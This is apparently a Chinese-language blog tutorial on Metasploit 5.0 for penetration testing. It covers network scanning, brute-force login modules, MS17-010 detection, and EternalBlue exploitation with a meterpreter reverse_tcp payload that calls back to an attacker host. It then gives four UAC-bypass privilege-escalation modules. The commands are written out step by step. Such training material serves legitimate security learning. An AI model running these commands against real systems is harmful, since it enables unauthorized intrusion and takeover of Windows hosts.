摘要: 如果你是从来没有接触过MSF,这篇文章会对你大有用处哦。
前不久MSF从4.7升级到MSF5.0,其中改进了数据库的处理逻辑,优化了msfconsole终端操作,并将PostgreSQL作为一个RESTful服务单独运行。此外还加入一个Web服务框架,新的免杀模块,优化了控制功能等。
下面小白总结了一下在渗透测试中,使用频率较多的MSF命令,分为以下几块来讲。
发现目标网段的存活主机:
我们可以利用auxiliary这个模块来获取目标网端的信息,包括端口开放情况、主机存活情况。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scancer/smb/smb_version 存活的445主机
auxiliary/scanner/portscan/syn 端口扫描
auxiliary/scanner/telnet/telnet_version telent服务扫描
auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描
auxiliary/scanner/ssh/ssh_version ssh主机扫描
。。。。。。
图片一扫描模块信息
一般情况下我们在渗透测试的时候,如果在不知道资产的情况下,我们会把整个网端进行扫描存活主机,然后再对存活的信息收集信息,这样的话就可以缩短我们的渗透测试时间,而不盲目的去测试,有时候盲目信息收集会导致后期渗透的道路都是弯的,达不到预期的效果。
不管是端口扫描还是探测存活主机,都是要设置目标IP地址set rhosts ip地址,如果扫描整个网段的话,最后设置一下线程:set thread 线程数(根据情况设置)。
执行run命令开始扫描网段的存活主机,发现有7台服务器存活,这样的话我们就可以对这些存活主机进行下一步的信息收集,比如22、445、3389等敏感端口开放情况探测,在这里需要说明一下,以小白的渗透测试经验,一般我先不扫描整个网端,因为这样对目标主机有损耗,可以直接扫描有溢出漏洞的高危端口,如果有的话,那么就可以通过溢出进行提权,这样的方法也是一种捷径。相反的情况下,如果全端口扫描的话个人建议用nmap工具。
下面我们探测一下网段中开启445端口的主机,通过扫描发现网段中有3台主机开启了445端口,这样的话我们就可以在后期的漏洞探测中测试是否存在永恒之蓝。
Use auxiliary/scanner/smb/smb_version
Set rhosts 192.168.201.1/24 //设置目标主机地址
Set threads 30 //设置扫描线程
Run //执行扫描命令
前期其它的端口扫描的命令都是差不多的,下面我们介绍一下爆破的模块,在kali中有自己内置的密码本,当然你也可以用自己的字典。你看多方便,想用就用,不用就不用。
内置密码表的地址:/usr/share/wordlists/metasploit/
一般爆破的话我们可以对ssh、mysql、sql、Oracle、vnc、telnet等常用的端口
1)auxiliary/scanner/mysql/mysql_login
2)auxiliary/scanner/mssql/mssql_login
3)auxiliary/scanner/ssh/ssh_login
4)。。。。。。
漏探
接下来我们通过前期的信息收集,可以得到目标主机中有三台主机开启了445端口,我们可以进一步探测是不是存在永恒之蓝。我们可以用以下命令来探测一下:
在之前做培训的时候,本地搭建测试环境发现2008 R2的服务器的时候就直接蓝屏,具体原因不清。所以大家在渗透测试的过程中一定要合理的评估漏洞的可用性。通过扫描发现有一台目标主机存在永恒之蓝。其实除了永恒之蓝,也有许多其它的溢出,在这里就不一一详解了,原理都一样。
use auxiliary/scanner/smb/smb_ms17_010 //使用永恒之蓝探测模块 how options 查看需要添加的信息 set rhosts 192.168.205.1/24 //设置扫描目标主机IP地址 set threads 30 //设置扫描线程 Run //开启扫描
通过漏洞探索阶段我们发现192.168.205.150这台目标主机存在永恒之蓝,那我们可以使用MSF中的攻击模块进行漏洞,看看能不能获取到目标主机的权限,这样的话,我们就可以通过溢出来搞内网的横向扫描。执行以下命令:
use exploit/windows/smb/ms17_010_eternalblue //使用永恒之蓝攻击模块 set payload windows/meterpreter/reverse_tcp //设置一个Payload,使攻击机接受来自目标主机的session set rhosts 192.168.205.150 //设置目标主机地址 set lhost 192.168.205.148 //设置接受payload的地址,我们这里设置MSF的地址 set LPORT 5555 // 设置接受的端口,这个自己自定义,只要不与其它端口冲突就可以 Exploit //执行
当我们得到一个目标主机返回的shell后,我们第一步要看的是当前用户是不是管理员权限,如果不是管理员权限,这个时候需要我们去提权。我们可以利用kaili中的本地提权的方式,下面介绍一下本地提权绕过UAC的方式提升当前用户权限,以下是详细的命令以及步骤:
我们首先介绍一下这个UAC到底是什么东东,是怎么运行的?
Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
因为有的用户是没有管理员权限,没有管理员权限是运行不了哪些只能通过管理员权限才能操作的命令。比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作。
最直接的提权命令:getsystem
绕过UAC防护机制的前提是我们首先通过explloit获得目标主机的meterprter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。在这里我就不直接演示了,直接上命令,自己多练习练习即可,所话说熟能生巧。我们需要把获取到的session保存到后台,执行background
方法一:
use exploit/windows/local/bypassuac //将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。 set session 1 //使用sessino 1 Exploit //执行权限提升的攻击模式
执行完毕成功后,再次查询当前用户的权限就会提升到管理员权限。我这里已经是管理员权限了,所以会出现这样的提示。
方法二:Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。执行完毕以下命令,当前用户权限就会变为管理员权限。
use exploit/windows/local/bypassuac_fodhelperset session 1Exploit
方法三:通过COM处理程序劫持
首先介绍一下这个COM处理程序劫持,此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
命令执行:
use exploit/windows/local/bypassuac_comhijackset session 1Exploit
方法四:通过Eventvwr注册表项
首先介绍一下这个模块,此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。
use exploit/windows/local/bypassuac_eventvwrset session 1Exploit
以上的本地提权的模块大家可以本地去测试一下,除了这些某块还有其它的通过直接通过incognito中的add_localgroup_user提升、ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc域权限提升等其它的权限提升方法。小白在内网渗透测试的过程中发现一些客户的服务器大多数为2003、2008服务器,很少2012、2016服务器。